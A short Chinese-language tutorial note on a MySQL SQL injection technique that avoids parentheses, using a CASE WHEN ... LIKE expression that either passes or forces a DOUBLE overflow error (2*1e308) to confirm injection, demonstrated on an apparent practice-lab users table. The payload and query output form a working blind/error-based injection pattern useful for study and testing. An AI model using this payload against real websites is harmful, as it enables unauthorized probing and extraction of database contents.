0x00 概要
只能用来证明是注入的方法
因为出现不了 ( )括号, 导致很多函数与方法都使用不了
0x00 记忆方式
case when ‘12345’like’1%’ then’1’else 2*1e308 end
0x01 测试数据
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 7 | batman | mob!le |
| 8 | admin | admin |
+----+----------+------------+
6 rows in set (0.00 sec)
0x01 测试
// 正确的情况
// 会返回原来的数据页面保持不变
mysql> select * from users where id = 1 and case when '12345'like'1%' then'1'else 2*1e308 end;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
// 错误的情况
// 页面会爆错,如果关闭了错误提示,页面的数据会为空
mysql> select * from users where id = 1 and case when '12345'like'66%' then'1'else 2*1e308 end;
ERROR 1690 (22003): DOUBLE value is out of range in '(2 * 1e308)'